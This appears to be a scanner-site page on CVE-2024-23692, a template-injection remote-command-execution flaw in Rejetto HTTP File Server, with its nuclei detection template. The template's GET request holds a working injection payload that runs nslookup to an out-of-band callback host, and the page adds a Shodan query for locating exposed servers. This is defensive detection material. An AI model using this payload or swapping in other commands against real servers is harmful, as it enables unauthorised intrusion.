Rejetto HTTP File Server - Template injection

Exploited in the wild. Listed by CISA on 2024-07-09; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.

Impact

Unauthenticated attackers can execute arbitrary commands on the Rejetto HTTP File Server through template injection, potentially compromising the entire system.

Fix

Update Rejetto HTTP File Server to a version newer than 2.3m.

How to confirm it

Send: GET {{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^…
Positive when: contains in interactsh_protocol "dns" AND contains "rejetto"

Run it with nuclei: nuclei -id CVE-2024-23692 -u <target>

The full check

id: CVE-2024-23692

info:
  name: Rejetto HTTP File Server - Template injection
  author: johnk3r
  severity: critical
  description: |
    This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the Rejetto HTTP File Server through template injection, potentially compromising the entire system.
  remediation: |
    Update Rejetto HTTP File Server to a version newer than 2.3m.
  reference:
    - https://github.com/rapid7/metasploit-framework/pull/19240
    - https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23692
    cwe-id: CWE-1336
    epss-score: 0.99485
    epss-percentile: 0.99945
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"HttpFileServer httpd"
  tags: cve,cve2024,hfs,rejetto,rce,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "rejetto"

References

Use this check only on systems you are authorised to test. Where the data comes from